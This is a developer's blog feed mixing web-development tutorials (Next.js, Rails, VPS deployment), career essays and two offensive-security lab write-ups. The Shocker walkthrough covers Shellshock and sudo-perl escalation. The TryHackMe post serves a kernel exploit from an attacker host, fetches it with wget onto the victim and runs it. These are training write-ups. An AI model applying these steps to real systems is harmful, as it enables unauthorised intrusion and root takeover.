Forem: Michael Oladele

Hack The Box: Shocker Machine Writeup

Michael Oladele — Thu, 09 Apr 2026 16:43:11 +0000

🚀Introduction

The Shocker machine on Hack The Box is an excellent tool to learn and exploit the Shellshock vulnerability. In this walkthrough, we will enumerate this retired machine step by step and capture the user and root flags, demonstrating a real-world example of this catastrophic exploit.

🔍 Enumeration

First, we begin by scanning for open ports on the target machine.

I kinda like to first scan the all the ports first, then dive deeper like below:

Two ports came back as open:

Port 80 — HTTP (Apache web server)
Port 2222 — SSH

Since web servers usually have more attack surface, let's focus on port 80 to check if we get foothold.

The next step would be for us to perform a version and service detection scan:

Let's do banner grabbing to be sure the server we got from nmap is correct:

We can confidently say:
The server is running: Apache/2.4.18 on port 80 (Ubuntu)

Since port 80 is running a public-facing Apache web server, it offers a good opportunity for us to see what is running. Let's navigate to http://ip. Then we see:

At first, when I saw this web-page, I froze. But let's try to bust the directories maybe we can see something juicy:

gobuster dir -u http://10.129.16.77/ -w /usr/share/wordlists/dirb/common.txt
===============================================================
Gobuster v3.6
by OJ Reeves (@TheColonial) & Christian Mehlmauer (@firefart)
===============================================================
[+] Url:                     http://10.129.16.77/
[+] Method:                  GET
[+] Threads:                 10
[+] Wordlist:                /usr/share/wordlists/dirb/common.txt
[+] Negative Status codes:   404
[+] User Agent:              gobuster/3.6
[+] Timeout:                 10s
===============================================================
Starting gobuster in directory enumeration mode
===============================================================
/.hta                 (Status: 403) [Size: 291]
/.htaccess            (Status: 403) [Size: 296]
/.htpasswd            (Status: 403) [Size: 296]
/cgi-bin/             (Status: 403) [Size: 295]
/index.html           (Status: 200) [Size: 137]
/server-status        (Status: 403) [Size: 300]
Progress: 4614 / 4615 (99.98%)
===============================================================
Finished

If we try to check /server-status and /cgi-bin/, we can see:

So, there seems to be no way here, I wanted to go to the port 2222 at this point, but I decided to drill down to the DIR /server-status and /cgi-bin/ if something would come up.

Then I dig but this time, I added -x php,html,txt,sh,pl,cgi to check special files:

gobuster dir -u http://10.129.16.77/cgi-bin -w /usr/share/wordlists/dirb/common.txt -x php,html,txt,sh,pl,cgi
===============================================================
Gobuster v3.6
by OJ Reeves (@TheColonial) & Christian Mehlmauer (@firefart)
===============================================================
[+] Url:                     http://10.129.16.77/cgi-bin
[+] Method:                  GET
[+] Threads:                 10
[+] Wordlist:                /usr/share/wordlists/dirb/common.txt
[+] Negative Status codes:   404
[+] User Agent:              gobuster/3.6
[+] Extensions:              html,txt,sh,pl,cgi,php
[+] Timeout:                 10s
===============================================================
Starting gobuster in directory enumeration mode
===============================================================
/.html                (Status: 403) [Size: 300]
/.hta.sh              (Status: 403) [Size: 302]
/.hta                 (Status: 403) [Size: 299]
/.hta.pl              (Status: 403) [Size: 302]
/.hta.cgi             (Status: 403) [Size: 303]
/.hta.php             (Status: 403) [Size: 303]
/.hta.html            (Status: 403) [Size: 304]
/.htaccess.php        (Status: 403) [Size: 308]
/.htaccess.txt        (Status: 403) [Size: 308]
/.htaccess.html       (Status: 403) [Size: 309]
/.htaccess.sh         (Status: 403) [Size: 307]
/.htaccess            (Status: 403) [Size: 304]
/.hta.txt             (Status: 403) [Size: 303]
/.htaccess.pl         (Status: 403) [Size: 307]
/.htaccess.cgi        (Status: 403) [Size: 308]
/.htpasswd            (Status: 403) [Size: 304]
/.htpasswd.pl         (Status: 403) [Size: 307]
/.htpasswd.cgi        (Status: 403) [Size: 308]
/.htpasswd.php        (Status: 403) [Size: 308]
/.htpasswd.html       (Status: 403) [Size: 309]
/.htpasswd.txt        (Status: 403) [Size: 308]
/.htpasswd.sh         (Status: 403) [Size: 307]
/user.sh              (Status: 200) [Size: 119]
Progress: 32298 / 32305 (99.98%)
===============================================================
Finished

In the above scan, I got a script back user.sh, this can be juicy. but when I opened it:

I decide to dig a little about what I can see about cgi-bin and I found out shellshock. So I Check cgi with NMAP to see if something would come and it is vulnerable to shellock:

Let's say luck found me, it's vulnerable to shellshock, so fired up my metasploit and search for it:

⚡ Exploitation

The next step for us would be to exploit the target machine, on metasploit, I set all the options needed, then the target was down in seconds:

Let's do our victory dance!!!

⚡ Privilege Escalation

As we can see the user we compromised is 'shelly' so we need to elivate our privilege to 'root'

I checked to see what can the user run with root access without password:

We are convinced that the user can run /usr/bin/perl without password, that might our path to root. Let's check for the binary on GTFBins:

Now let's run the binary with 'sudo', because we know we can do that:

We are root!! Yeepee!!!

The Hidden Weight Nigerian Developers Carry

Michael Oladele — Tue, 02 Dec 2025 09:07:03 +0000

In a perfect world, the SDLC is linear:

Requirements → Design → Development → Testing → Deployment → Maintenance.

In Nigeria, the reality is very different.

Here, the average "developer" is actually:

a backend engineer
a frontend engineer
a product thinker
a UI/UX designer
a DevOps engineer
a QA tester
a cloud engineer (yes, job posts still ask “Do you know AWS?”)
and the person who fixes production at 2 a.m.

All in one role.

All on one salary.

A salary that often doesn’t match even one of those roles abroad.

💢 The Disrespect Nobody Talks About

What hurts more than the workload is the treatment.

Too many developers have heard this line:

“Why didn't you complete the design level?”

Meanwhile the same developer was already juggling:

Architecture
Backend
Frontend
Documentation
QA
Deployment
Support
And cloud infrastructure

Imagine doing six jobs and being blamed for the seventh.

🔥 Yet Nigerian Developers Still Shine

Despite the chaos, Nigerian developers:

build world-class products
lead remote teams
learn extremely fast
innovate under pressure
and compete globally at the highest level

It’s almost unreal how excellence grows in such tough environments.

❤️ A Word to Every Nigerian Developer

You’re doing more than enough.

Your skill is not the problem.

Your environment is.

Protect your peace.

Ask for clarity.

Set boundaries.

Demand respect.

Nigerian developers aren’t underrated because of lack of talent.

They’re underrated because they do too much, too quietly.

It’s time that changed.

If this resonated, feel free to share your experience in the comments. Let’s make the conversation louder.

Server vs. Client Components in Next.js 13: When and How to Use Them

Michael Oladele — Wed, 23 Oct 2024 18:18:59 +0000

Next.js 13 introduced React Server Components, giving developers the power to choose where and how to render components—either on the server for performance or on the client for interactivity. This flexibility allows us to build apps that combine speed and dynamic capabilities.

In this article, we’ll explore not just the basics, but also dive into how to use server components within client components—a common need when building dynamic, efficient apps.

Understanding Server Components

Server components are rendered entirely on the server and don’t require any client-side JavaScript. They’re perfect for static content like headers, footers, or even data-driven components that don't need user interaction.

Example: Simple Server Component

// app/components/Header.js
export default function Header() {
  return (
    <header>
      <h1>My Static Header</h1>
    </header>
  );
}

This component is rendered on the server and doesn't involve any client-side interaction, meaning it loads faster with less JavaScript.

Benefits of Server Components

Reduced JavaScript Payload: Server components reduce the amount of JavaScript sent to the browser.
Improved Data Fetching: Server components can fetch data closer to the database, reducing network latency.

Fetching Data in a Server Component

// app/components/PostList.js
export default async function PostList() {
  const res = await fetch('https://jsonplaceholder.typicode.com/posts');
  const posts = await res.json();

  return (
    <ul>
      {posts.slice(0, 5).map((post) => (
        <li key={post.id}>{post.title}</li>
      ))}
    </ul>
  );
}

This PostList component fetches data on the server and sends the pre-rendered HTML to the client, ensuring faster load times.

When to Use Client Components

Client components are essential when you need interactivity, such as form inputs, event listeners, or dynamic content. These components use JavaScript on the client to handle user interactions.

Example: Client Component for Interactivity

// app/components/SearchBar.js
'use client';  // This makes the component a client component

import { useState } from 'react';

export default function SearchBar() {
  const [searchTerm, setSearchTerm] = useState('');

  return (
    <div>
      <input
        type="text"
        value={searchTerm}
        onChange={(e) => setSearchTerm(e.target.value)}
        placeholder="Search..."
      />
      <p>Searching for: {searchTerm}</p>
    </div>
  );
}

The SearchBar is interactive, so it needs to be a client component. You can use the useState hook and other React hooks only in client components.

You might have a use-case to combine Server and Client Components, so let's talk on how to do that next:

Combining Server and Client Components

A core strength of Next.js 13 is the ability to combine server and client components. A best practice is to use server components by default and push client components as deep as possible into your component tree.

Example: Combining Server and Client Components

// app/layout.js
import SearchBar from './components/SearchBar';

export default function Layout({ children }) {
  return (
    <div>
      <header>My Blog</header>
      <SearchBar />  {/* Client component for interactivity */}
      {children}
    </div>
  );
}

The SearchBar component handles client-side interactivity, while the rest of the layout is server-rendered, offering a balance between performance and interactivity.

On the other-way round, you might have a use-case to use server component inside a client component. Let's check out how to do that.

How to Use Server Components Inside Client Components

It’s important to understand that server components can be nested inside client components, but not imported directly into them. To include a server component in a client component, you pass it as children or a prop to avoid breaking the boundary between the two.

Example: Passing a Server Component to a Client Component

Here’s a real-world example where a server component is passed as a child to a client component:

// app/components/Profile.js (Server Component)
export default function Profile({ user }) {
  return (
    <div>
      <h2>{user.name}</h2>
      <p>Email: {user.email}</p>
    </div>
  );
}

// app/components/Dashboard.js (Client Component)
'use client';

import { useState } from 'react';

export default function Dashboard({ children }) {
  const [showProfile, setShowProfile] = useState(false);

  return (
    <div>
      <button onClick={() => setShowProfile(!showProfile)}>
        {showProfile ? 'Hide Profile' : 'Show Profile'}
      </button>

      {showProfile && <div>{children}</div>} {/* Server component passed as children */}
    </div>
  );
}

// app/page.js (Main Page using both components)
import Profile from './components/Profile';
import Dashboard from './components/Dashboard';

export default async function Page() {
  const user = { name: 'John Doe', email: 'john@example.com' };  // Static example

  return (
    <div>
      <Dashboard>
        <Profile user={user} />  {/* Passing the server component to client */}
      </Dashboard>
    </div>
  );
}

In the above example:

Profile is a server component, fetching data or displaying static content.
Dashboard is a client component handling interactions (showing/hiding the profile).
The Profile server component is passed as children to the Dashboard client component.

This pattern allows you to use the benefits of server rendering (less JavaScript, improved performance) while still having client-side interactivity.

Third-Party Libraries and Client Components

Many third-party libraries like authentication providers or UI components rely on React hooks, which can only be used in client components. Here’s how you can work around that limitation by wrapping third-party libraries inside client components:

Example: Using a Third-Party Carousel

// app/components/Carousel.js
'use client';

import Carousel from 'react-slick';

export default function MyCarousel() {
  const settings = { dots: true, infinite: true };
  return (
    <Carousel {...settings}>
      <div><h3>Slide 1</h3></div>
      <div><h3>Slide 2</h3></div>
    </Carousel>
  );
}

// app/page.js
import MyCarousel from './components/Carousel';

export default function Page() {
  return (
    <div>
      <h1>Welcome to the App</h1>
      <MyCarousel />
    </div>
  );
}

By wrapping the third-party react-slick carousel in a client component, we can use it in the server-rendered page while still accessing client-side features like interactivity.

Handling Props Between Server and Client Components

When passing data between server and client components, the props must be serializable (e.g., strings, numbers, booleans). Complex objects like functions or instances of classes can’t be passed.

Example: Passing Data from Server to Client

// app/page.js (Server Component)
import UserCard from './components/UserCard';

export default async function Page() {
  const user = { name: 'Jane Doe', age: 30 };  // Simple serializable data

  return (
    <div>
      <h1>Welcome to the App</h1>
      <UserCard user={user} />  {/* Passing serializable data to client component */}
    </div>
  );
}

// app/components/UserCard.js (Client Component)
'use client';

export default function UserCard({ user }) {
  return (
    <div>
      <h2>{user.name}</h2>
      <p>Age: {user.age}</p>
    </div>
  );
}

The UserCard client component can now dynamically render the data passed from the server component while ensuring that everything remains serializable and thus passes through the server-client boundary without issues.

With all said, it would be interesting to conclude this with best practises. Let's move to that next:

Best Practices for Server and Client Component Composition

Here are a few tips for composing server and client components effectively:

Default to Server Components: Use server components wherever possible for static or data-driven content to reduce JavaScript load and improve performance.
Use Client Components for Interactivity: Only use client components where user interaction or browser-specific APIs are needed.
Move Client Components Down the Tree: Push client components as deep into the component tree as possible. This allows more of your app to be rendered on the server, boosting performance.
Pass Server Components as Children: If a server component needs to be used within a client component, pass it as children or a prop instead of directly importing it.

Final word: Striking the Balance Between Performance and Interactivity

With Next.js 13, you have the flexibility to render components on both the server and the client. By defaulting to server components for static content and client components for interactivity, and by managing the boundary between the two carefully, you can build apps that are both fast and dynamic.

By following the patterns and examples here—like passing server components into client components and combining them thoughtfully—you’ll be able to leverage the full power of Next.js 13 to create highly performant, interactive web applications.

Happy coding
I am Michael.

How breaking into Tech @40 changed my life

Michael Oladele — Sat, 24 Aug 2024 06:09:07 +0000

My Personal journey into tech

Breaking into tech at age 40 might sound like a daunting challenge, especially when it requires leaving behind a secure, well-paying job. For me, however, it was a journey that redefined my life, my career, and my understanding of what it means to follow a passion.

The Cyber Café Days
It all started in the most unlikely of places, cyber cafés. Back then, these were the hubs of curiosity and learning for many of us. I would spend countless hours in these cramped, dimly lit rooms, where the sound of keyboards clacking and the hum of outdated computers created an atmosphere that was oddly motivating. My friends would often ask me what I was doing, and my answer was always the same: I was feeding my curiosity about technology.

I was intrigued by technology, its vast potential and the way it was rapidly changing the world. I scoured the internet for tutorials, articles, and any resource I could find on coding, software development, and IT in general. The more I learned, the more my passion grew, and so did my desire to transition into the tech industry. But it wasn't an easy road.

The Four-Year Struggle
In the year 2016, I realised I needed to live a more purposeful life, and the only answer was for me to break into tech space.
For over Four years, I juggled my full-time job with late-night study sessions. My days were spent in the office, and my nights were dedicated to learning how to code, understanding the basics of computer science, and familiarising myself with the latest tech trends. It was exhausting, but the idea of one day working in tech kept me going.

Despite the long hours and the steep learning curve, I never lost sight of my goal. There were times when I felt overwhelmed, especially when I struggled to grasp complex concepts. Yet, every small victory like finally debugging a stubborn piece of code or creating a simple web page fuelled my determination.

Eventually, the pieces started falling into place. I began to see how my years of dedication and countless hours in cyber cafés were paying off. But there was still one more major decision to make, a decision that would challenge everything I knew about security and success.

Leaving It All Behind
I was working in a stable, well paying job at the time. It was the kind of position most people dream of, offering financial security. But I knew that if I wanted to make a real leap into tech, I needed to give it my all. So, after much contemplation, I did the unthinkable, I resigned.

When I announced my decision, the reactions were mixed. Friends, colleagues, and even family members were shocked. They couldn’t understand why I would leave such a lucrative job to pursue a career in a field where I had no formal experience. I was called reckless, and some even suggested that I was going through a midlife crisis. To be honest, there were moments when I doubted myself too. But deep down, I knew that this was what I wanted.

The Payoff
Breaking into tech wasn’t immediate. The first few months were tough, filled with uncertainty and the challenge of proving myself in an industry that’s often seen as a young person’s game. But slowly, opportunities started to come my way. I landed my first part-time job as a code reviewer at Microverse, the coding bootcamp I learnt how to code, before I eventually secured a full-time position in a tech start-up as full-stack developer and now co-founded tech start-ups.

The transition wasn’t just about switching careers; it was about rediscovering myself. Tech allowed me to be creative, solve problems, and work in an environment that was constantly evolving. Every day brought new challenges, but it also brought new opportunities to learn and grow. And for the first time in years, I felt truly fulfilled.

Reflections
Looking back, breaking into tech at 40 was one of the most significant decisions I’ve ever made. It taught me that it’s never too late to pursue your passion, that age is just a number when it comes to learning, and that sometimes, you have to take risks to achieve the life you want.

Yes, it was scary to leave behind a secure job and step into the unknown. But the rewards, both personal and professional have been worth every moment of uncertainty. Today, I’m not just a tech professional; I’m someone who followed their passion, defied the odds, and proved that it’s never too late to start over.

To anyone out there who’s considering a similar leap, remember this: your dreams are valid, no matter how old you are or where you’re starting from. And sometimes, the craziest decisions turn out to be the best ones.

If I can, you can too.

Try Hack Me: Linux PrivEsc Complete Steps

Michael Oladele — Sun, 30 Jun 2024 20:11:31 +0000

Completing the TryHackMe Linux Privilege Escalation labs on the Jr Penetration Tester path has been challenging to me. I thought I needed to write about it. Let's get started!

I will skip some of the informational part and jump straight to task 5.

Task 1: Introduction

Task 2: What is Privilege Escalation?

Task 3: Enumeration

It does not matter how you gain the initial foothold, When you land on your target machine the first thing you want to do is Enumeration.

To get the full enumeration steps, head over to TryHackMe Linux Privilege Escalation labs

Now let's dive into the main reason for this article:

Task 5: Privilege Escalation: Kernel Exploits:

This task expects that we escalate our privilege via kernel exploit.

Steps:

Get a foothold into the target system, in this case, we SSH into the target machine from our attack machine with the details provided
We are to escalate through kernel exploit, we need to get the kernel of the machine by running the code below:

uname -a

Now we have the kernel name, we need to search exploit DB for exploit to use against the victim machine kernel. We are in luck, we found an exploit on exploit DB. In most cases we might have to dig a little more on the internet.

Click Download to download the exploit to your attacker machine

The next step is to find a way to get the exploit code to the victim machine. I will be doing this with python3 http server.
On the attacker's machine, run the code below in the same dir you have the file hosted run on port 8080.

python3 -m http.server 8080

Once your server is running on the attacker's machine, on the victim's machine, you will need to get the file with wget. Run the command below on the victim's machine:

wget http://<attacker's_IP: <Port>/<file_name>

If we check the dir with ls I can see the downloaded file in the dir. On the victim's machine.

After the download, run the command below to compile the C file on the victim's machine.

gcc <filename.c> -o <name_want_to_call_the_compiled_file> -w

Then you need to give writable permission to the compiled file.

If successful, you should see the file name in the dir, then run id to see current user id:

You can see that we have the regular user at the moment:

Then run the exploit code:

Now we are root after we run the exploit code:

Conclusion

This is the end of the first part of this series. Watch out for

Tasks 6 - 12.

I hope this helped someone as this lab really challenged me, but it was so much fun and it felt good to complete it. Anyways, I got through it and now, so have you!

It's Michael

The Evil of the eval() Function in JavaScript

Michael Oladele — Sat, 09 Mar 2024 10:53:43 +0000

While the eval() function in JavaScript can be a powerful tool for dynamically executing code, it introduces significant security risks if used improperly

JavaScript is a versatile programming language no doubt, that powers a significant portion of the web. It provides developers with powerful tools to manipulate and execute code dynamically. One such tool is the eval() function, which evaluates a string of code as though it were part of the script. While eval() can be useful in certain situations, it also poses significant security risks if not used carefully. In this article, we'll explore the potential dangers of using eval() and discuss best practices for mitigating these risks.

Before diving into the risks of using the function eval() we need to understanding eval().
The eval() function in JavaScript takes a string argument and evaluates it as JavaScript code. This means that any valid JavaScript code can be passed to eval(), and it will be executed within the current execution context. For example:

var x = 10;
var y = 20;
var result = eval("x + y"); // result will be 30

While eval() can be convenient for dynamically generating and executing code, it introduces security vulnerabilities that can be exploited by malicious actors.

Security Risks
Injection Attacks: One of the most significant risks of using eval() is the potential for injection attacks. If the string passed to eval() contains user input, an attacker could craft a malicious string to execute arbitrary code on the client-side. For example:

var userInput = "alert('You have been hacked!')";
eval(userInput); // executes the alert

In this scenario, the attacker could inject any JavaScript code, potentially compromising sensitive user data or performing unauthorized actions.

This article focuses on the security risks of using eval() in your application:

Cross-site Scripting (XSS): eval() can also be exploited in XSS attacks, where an attacker injects malicious scripts into web pages viewed by other users. If user input is not properly sanitized before being passed to eval(), it can lead to the execution of malicious code on unsuspecting users' browsers.

Best Practices for Mitigation
To mitigate the security risks associated with eval(), consider the following best practices:

Avoid eval() Whenever Possible: In most cases, there are alternative methods for achieving the desired functionality without resorting to eval(). Consider using built-in JavaScript functions like JSON.parse() or Function() constructor instead.

Sanitize User Input: If you must use eval() with user input, ensure that the input is properly sanitized and validated to prevent injection attacks. Never execute user input directly within eval() without validation.

Use Strict Mode: Enable strict mode ("use strict";) in your JavaScript code to enforce stricter parsing and error handling, which can help catch potential issues with eval() usage.

Code Reviews and Audits: Regularly review your codebase to identify and eliminate unnecessary uses of eval(). Conduct security audits to identify potential vulnerabilities and address them proactively.

While the eval() function in JavaScript can be a powerful tool for dynamically executing code, it introduces significant security risks if used improperly. By understanding these risks and following best practices for mitigation, developers can minimize the likelihood of exploitation and protect their applications from malicious attacks. Remember to prioritize security in your codebase and exercise caution when using eval() in your JavaScript projects.

Michael Oladele

The Shift from Functionality to Security: Prioritizing Code Quality in Web Development

Michael Oladele — Sun, 18 Feb 2024 07:35:51 +0000

After years in the web development field, I've come to recognize a common trend: many developers prioritize functionality over code quality. In pursuit of getting things to work quickly, corners are often cut, resulting in what I call "unhealthy code." Unfortunately, once these shortcuts are taken, there's often little incentive to improve them, as the fear of breaking functionality looms large.

However, my focus has shifted over time. I've become increasingly invested in ensuring that my code is not just functional but also secure. This shift in mindset has led me to devote less attention to frontend development and more towards implementing robust security measures.

It became clear to me early on that as web developers, our responsibility goes beyond mere functionality—we must prioritize security as well.

While it's common for startups to overlook continuous testing for vulnerabilities, the truth is that all companies, regardless of size, are susceptible to cyber attacks.

So, when clients or business owners demand that we(web developers) "just make it work," it's crucial to remind them of the importance of security. We must shift our focus from simply making things functional to ensuring they are safe. Even a thoroughly tested application can become vulnerable in minutes, underscoring the necessity for ongoing testing—what I refer to as continuous testing.

Consider this analogy: just as the threat of global warming prompts urgent action, the prevalence of cyber threats necessitates proactive measures. Every click of our mouse should be approached with security in mind, as the vulnerability of our code directly correlates with the likelihood of cyber attacks.

IamMichael
Web Developer/Penetration Tester

Embrace Your New Coding Buddy

Michael Oladele — Fri, 19 May 2023 09:47:12 +0000

Introduction:
🌐 Software development is an ever-evolving field, and staying ahead requires embracing new technologies and tools. In this digital age, developers have found a reliable companion in ChatGPT—an AI-powered coding buddy that revolutionizes the way they work. This article explores the benefits of adopting ChatGPT as your coding buddy and how it enhances productivity, creativity, and problem-solving in software development, and Erasing the FEAR that AI will take over our jobs.

1️⃣ Amplifying Productivity:
💼 ChatGPT serves as an invaluable assistant, augmenting developer productivity. It can automate repetitive tasks, generate code snippets, and provide real-time suggestions, saving developers precious time and effort. With ChatGPT as your coding buddy, you can focus on higher-level tasks, accelerate project delivery, and increase overall efficiency.

2️⃣ Enhancing Problem-Solving:
🚀 Problem-solving lies at the core of software development. ChatGPT acts as a reliable partner, offering insights and alternative approaches to tackle complex challenges. By engaging in conversations with ChatGPT, developers can brainstorm ideas, explore different solutions, and gain fresh perspectives, ultimately leading to more innovative and effective problem-solving.

3️⃣ Fostering Creativity:
💡 Creativity fuels groundbreaking innovations in software development. ChatGPT serves as an endless source of inspiration, sparking creativity and enabling developers to think outside the box. By collaborating with ChatGPT, developers can uncover unique solutions, experiment with new techniques, and push boundaries to create exceptional software products.

4️⃣ Continuous Learning and Skill Expansion:
📚 Learning is a lifelong journey for developers, and ChatGPT is an ideal companion for continuous learning. Developers can seek guidance from ChatGPT to deepen their understanding of programming concepts, explore new languages or frameworks, and receive suggestions for further learning resources. ChatGPT acts as a knowledgeable mentor, empowering developers to broaden their skill set and stay at the forefront of the industry.

5️⃣ Collaboration and Knowledge Sharing:
🤝 ChatGPT is not just an individual coding buddy but also a catalyst for collaboration. Developers can interact with ChatGPT in team environments, facilitating knowledge sharing, code review discussions, and brainstorming sessions. ChatGPT's ability to communicate and understand code provides a common language that fosters effective collaboration among developers.

6️⃣ Empowering Innovation:
💻 Embracing ChatGPT as your coding buddy fuels innovation. Developers can leverage the power of AI to automate mundane tasks, allowing them to focus on more strategic and creative aspects of software development. By harnessing ChatGPT's capabilities, developers can prototype ideas quickly, experiment with emerging technologies, and drive transformative innovations that shape the future.

Conclusion:
💡 Embrace your new coding buddy—ChatGPT—and revolutionize your software development journey. By adopting AI as a trusted companion, you can amplify productivity, enhance problem-solving, foster creativity, continuously expand your skills, promote collaboration, and empower innovation. Embracing ChatGPT opens up new possibilities, propelling your career and propelling the software development industry into an exciting future. So, why wait? Embrace your new coding buddy and unlock your full potential! #CodingBuddy #ChatGPT #SoftwareDevelopment

Hosting a Next.js app on a Virtual Private Server (VPS)

Michael Oladele — Sun, 12 Feb 2023 16:43:47 +0000

For many developers, development might not be a serious issue and for many, deploment is a serious issue.

I was in the dilema after development with my team, I was responsible for the web app deployment. It was a serious issue because Next.js can not just be bundled like a ReactJs app.

There are several options available for me but I have to settle for the option suitable for the business use case, which VPS(Virtual Private Server). Then jump on google to see if I can see any resource to assist with the deployment.

Many resources found were not straight-forward. After several days, days will soon turned to weeks but finally, I figured out how to deploy the web app on VPS.

One of my team members said: "The app has finally been deployed anyhow....."

Considering what I went through, I decided to write this, with step by step on how to host NextJS web app on VPS.

One of the reason I settled for VPS was because Hosting a Next.js app on a Virtual Private Server (VPS) can provide lightning-fast performance and reliability for your web application.

Let's go over the steps to set up and deploy a Next.js app on a VPS.

First, let's go over the prerequisites:

A VPS provider: There are many options available, such as DigitalOcean, Vultr, and Linode. Choose a provider that meets your needs and budget.
A domain name: You'll need a domain name to point to your VPS. You can purchase a domain name from a domain registrar such as GoDaddy or Namecheap.
SSH access to your VPS: You'll need to use Secure Shell (SSH) to access your VPS and set it up.

With these prerequisites in place, let's go over the steps to set up and deploy a Next.js app on a VPS.

Set up your VPS: Follow the instructions provided by your VPS provider to set up your VPS and create a user with sudo privileges.
Install Node.js: Next.js requires Node.js to be installed on your VPS. You can install Node.js using the following command:

curl -sL https://deb.nodesource.com/setup_14.x | sudo -E bash -
sudo apt-get install -y nodejs

Install Git: Next.js uses Git to manage its dependencies, so you'll need to install Git on your VPS. You can do so using the following command:

sudo apt-get install git

Clone your Next.js app repository: Use Git to clone your Next.js app repository to your VPS. Make sure to replace with the URL of your repository.

git clone <repository-url>

Install dependencies: Navigate to the root directory of your Next.js app and install the dependencies using the following command:

npm install

Build the app: Next.js uses server-side rendering, so you'll need to build the app before you can start it. Run the following command to build the app:

npm run build

Start the app: Now that the app is built, you can start it using the following command:

npm start

Set up a reverse proxy: To serve your Next.js app over HTTPS, you'll need to set up a reverse proxy. One option is to use Nginx, which is a popular web server. First, install Nginx using the following command:

sudo apt-get install nginx

Then, create a configuration file for your Next.js app in the /etc/nginx/sites-available directory. You can use the following configuration as a starting point, replacing with your domain name:

server {
     listen 80;
    server_name example.com www.example.com;

    location / {
        proxy_pass http://localhost:3000;
        proxy_http_version 1.1;
        proxy_set_header Upgrade $http_upgrade;
        proxy_set_header Connection 'upgrade';
        proxy_set_header
     }
}

Be sure to replace example.com and www.example.com with your own domain name. The root directive should point to the public directory of your Next.js app.

Once you have created the server block configuration file, you will need to enable it by creating a symbolic link from the sites-available directory to the sites-enabled directory:

sudo ln -s /etc/nginx/sites-available/nextjs-app.conf /etc/nginx/sites-enabled/

Finally, restart Nginx to apply the changes:

sudo systemctl restart nginx

By now your web app should be up and running. Thank you for reading

Rails "Concerns"

Michael Oladele — Sun, 12 Feb 2023 15:58:06 +0000

Rails Concerns: An Effective Solution to Code Reusability in Ruby on Rails

Ruby on Rails is a popular web framework that has been widely used to build various types of web applications. One of its core principles I really appreciate working with ROR is DRY (Don't Repeat Yourself) which encourages developers to write code in a way that is modular and reusable. A Rails concern is a design pattern that helps developers achieve this goal. In this article, we will discuss what Rails concerns are, how to use them, and why they are an effective solution to code reusability.

What are Rails Concerns?

A Rails concern is a module that contains methods and behaviors that are common to several controllers, models or views. These methods and behaviors can be reused across different parts of your application, reducing the amount of code you need to write and making it easier to maintain.

How to Use Rails Concerns?

To create a Rails concern, you need to create a new module in the "app/concerns" directory and include it in the controller, model or view where it will be used. For example, let's say you have a user authentication system in your application and you want to reuse the code in multiple controllers. You can create a new module called "Authentication" and put the authentication code in this module. Then, you can include this module in all the controllers where you want to use the authentication code.

module Authentication
extend ActiveSupport::Concern

included do
before_action :authenticate_user!
end

def authenticate_user!

Authentication logic

end
end

class ApplicationController < ActionController::Base
include Authentication
end

In this example, the "Authentication" module is included in the ApplicationController, and the "authenticate_user!" method will be called before every action in the ApplicationController.

Why use Rails Concerns?

Code Reusability: Rails concerns allow developers to reuse code across multiple parts of their applications, reducing the amount of code they need to write and making it easier to maintain.

Modular Design: Rails concerns help you keep your code organized and modular. By breaking down your code into smaller, more manageable chunks, you can make changes to one part of your application without affecting the rest.

Better Code Readability: Rails concerns make your code easier to read and understand by encapsulating related functionality in a single module. This makes it easier for other developers to understand how your code works and make changes to it if necessary.

Improved Testability: Rails concerns make your code easier to test by allowing you to test each module separately. This makes it easier to write tests for individual parts of your application and helps you catch bugs earlier in the development process.

In conclusion, Rails concerns are an effective solution to code reusability in Ruby on Rails. They help developers write code that is modular, reusable, and easy to maintain. Whether you're working on a small or large project, Rails concerns can help you write better, cleaner, and more maintainable code.